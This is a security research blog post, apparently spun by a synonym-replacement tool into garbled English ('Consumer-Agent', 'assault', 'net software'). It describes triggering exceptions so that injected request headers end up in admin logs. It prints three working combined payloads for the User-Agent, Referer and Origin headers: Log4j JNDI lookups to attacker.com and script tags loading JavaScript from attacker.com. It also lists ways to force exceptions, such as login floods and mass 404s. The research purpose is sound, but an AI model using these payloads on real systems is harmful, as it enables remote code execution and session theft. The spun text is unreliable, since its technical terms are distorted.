Exploiting insecure exception logging | Invicti

When your net software receives a request that causes an exception, you often wish to log that request for additional evaluation. However what if the request accommodates an assault payload? For those who don’t sanitize the request information earlier than logging, it may set off vulnerabilities in back-end methods resembling admin dashboards. Intrigued by an unintentional discovering throughout scanning, I made a decision to analyze this system.

A cheerful accident: Discovering an exception-triggered vulnerability

Earlier than we go into the small print, right here is the way it all started. Some time again, I scanned a check web site utilizing the Acunetix net safety scanner and after the scan accomplished, I acquired a notification a couple of blind cross-site scripting (XSS) vulnerability. Investigating the problem, I found that whereas operating its safety checks for blind XSS vulnerabilities, Acunetix had generated an exception within the software. The exception was then logged into an admin panel with out correct HTML encoding – and my go to to this panel triggered the vulnerability.

Any such vulnerability was distinctive in that it was found unintentionally when an Acunetix blind XSS payload generated an exception. It additionally differed from a typical blind XSS vulnerability as a result of regular software occasions should not logged into the admin panel, so an exception needed to be generated earlier than the vulnerability might be exploited.

The discovering acquired me fascinated about software exceptions – and particularly concerning the prospects of producing them deliberately to use comparable vulnerabilities when exception information is logged and loaded with out sanitization.

The usefulness and risks of exception logging

Basically, net software exceptions are sudden occasions or errors that will happen as an internet software executes, typically ensuing from coding errors, {hardware} failures, or community points. Detailed logging of software exceptions is crucial to environment friendly software growth. Each time an exception happens, it could possibly present builders with invaluable details about a defect and methods to repair it, so exception logging is extraordinarily helpful for recording the kind, location, and time of a problem, together with related error messages and stack traces.

It’s common apply to log the HTTP request chargeable for producing an exception. As a result of the exception information is usually solely displayed inside inner dashboards that builders don’t take into account to be a major safety threat, the logged information won’t be correctly encoded or sanitized. If an software logs exceptions that include user-controlled information, resembling enter parameters, uncooked HTTP requests, or error messages, attackers may attempt to exploit this by injecting malicious code that will solely execute when builders or directors view the exception logs.

To slide a malicious payload into exception logs to be triggered later, attackers may use quite a lot of distinctive situations, resembling intentionally sending requests with invalid headers or massive numbers of requests. Relying on the precise vulnerability that’s triggered, an attacker may be capable of carry out actions on behalf of the person, resembling stealing session tokens or injecting client-side JavaScript for a blind XSS assault. If a Log4j-related vulnerability exists, attackers may even execute arbitrary server-side code.

Proving the idea by discovering a real-life vulnerability

Utilizing methods described within the subsequent part, I developed a number of sensible assaults that allowed me to find vulnerabilities in varied bug bounty packages, together with one which affected a famend Fortune 100 firm. After sending a number of requests meant to generate exceptions, I lastly acquired successful for a blind XSS vulnerability that existed in an inner monitoring system of the corporate.

With my blind XSS payload, I managed to extract HTML DOM content material which revealed that my requests had triggered an occasion referred to as Unhealthy Request Spike. The occasion was insecurely logged on the corporate’s inner dashboard. As a result of the recorded worth of the Consumer-Agent header was not being correctly HTML-encoded, it was instantly mirrored within the HTML DOM, permitting attackers to inject and execute arbitrary JavaScript code.

The results of an actual assault exploiting this vulnerability might be very critical. Even when the appliance itself is just not instantly susceptible to different assaults and the executive dashboard is just not externally accessible, an exception-triggered blind XSS vulnerability nonetheless makes it potential to inject arbitrary JavaScript.

Other than XSS as used on this case, I found that the identical payloads is also used to search out and exploit vulnerabilities in Log4j. The method was an identical, however the impression was much more extreme, probably permitting for distant code execution (RCE) on a back-end system.

Examples of exception-triggered payloads

To develop the preliminary concept, I started manually testing bug bounty purposes for varied vulnerabilities of this kind – and found some intriguing safety points. Beneath are some mixture payloads that incorporate each blind XSS and Log4j (in pink). Injection factors can embody headers, parameters, and paths (the extra, the higher), although I usually discovered essentially the most success in injecting the Consumer-Agent and Referer headers:

Consumer-Agent: ${jndi:ldap://attacker.com/log4j/1}'"></title></model></textarea></noscript></template></script><script/src="https://attacker.com/bxss/1"></script>

Referer: ${jndi:ldap://attacker.com/log4j/2}'"></title></model></textarea></noscript></template></script><script/src="https://attacker.com/bxss/2"></script>

Origin: ${jndi:ldap://attacker.com/log4j/3}'"></title></model></textarea></noscript></template></script><script/src="https://attacker.com/bxss/3"></script>

Error situations used to set off vulnerabilities

There are lots of methods to trigger an exception within the hope that it will likely be insecurely logged. Here’s a listing of a number of the error situations that I’ve discovered helpful in testing for triggering payloads:

• Invalid Host header: Make an HTTP/S request to the IP handle of the appliance however present an invalid host header to set off an exception. Right here is an instance of a full HTTP request that can be utilized to generate an invalid host header injection:

• Invalid HTTP technique: Use an invalid HTTP technique that will not be correctly dealt with by the net software.
• Request with no Consumer-agent header: The HTTP request doesn’t include a Consumer-agent header.
• Request with a identified dangerous Consumer-agent header: The HTTP request accommodates a Consumer-agent header that’s extensively utilized in assaults, resembling sqlmap/1.3.11#secure (http://sqlmap.org).
• POST physique with GET technique: Ship an HTTP request utilizing the GET technique however with a POST message physique.
• Excessive variety of 404 Not discovered errors: Plenty of web sites have protections in opposition to automated scanners that set off when a excessive variety of 404 Not discovered errors are detected. We’d use this to our benefit to request a lot of invalid paths and inject our payloads into the HTTP headers.
• Excessive variety of 500 Inner Server errors: Just like the earlier technique, however on this case, we have to discover an unsupported situation within the net software that can generate a 500 Inner server error, after which make a lot of such requests.
• Massive variety of failed login makes an attempt: Determine a login kind and take a look at completely different behaviors that ought to set off an exception, like sending a lot of passwords with a legitimate username or sending a lot of invalid usernames and passwords.
• Massive variety of requests in a brief interval: Ship a lot of requests in a brief time frame (e.g. 2000 requests in 5 minutes).

The way forward for exception-triggered vulnerabilities

The methods described right here depend on intentionally producing software exceptions as a solution to retailer varied assault payloads in exception logs. As a result of the logs are solely meant for builders and directors, logged request information won’t be sanitized in the identical means as extra anticipated user-controlled information. This opens a complete new avenue for testing and assaults on back-end methods.

Whereas this put up solely describes examples for blind XSS and RCE through Log4j, the identical strategies may probably be used to use different vulnerabilities in inner dashboards. From an software safety standpoint, an important lesson is that each one request information logged with exceptions must be sanitized and encoded to the identical customary as different person inputs.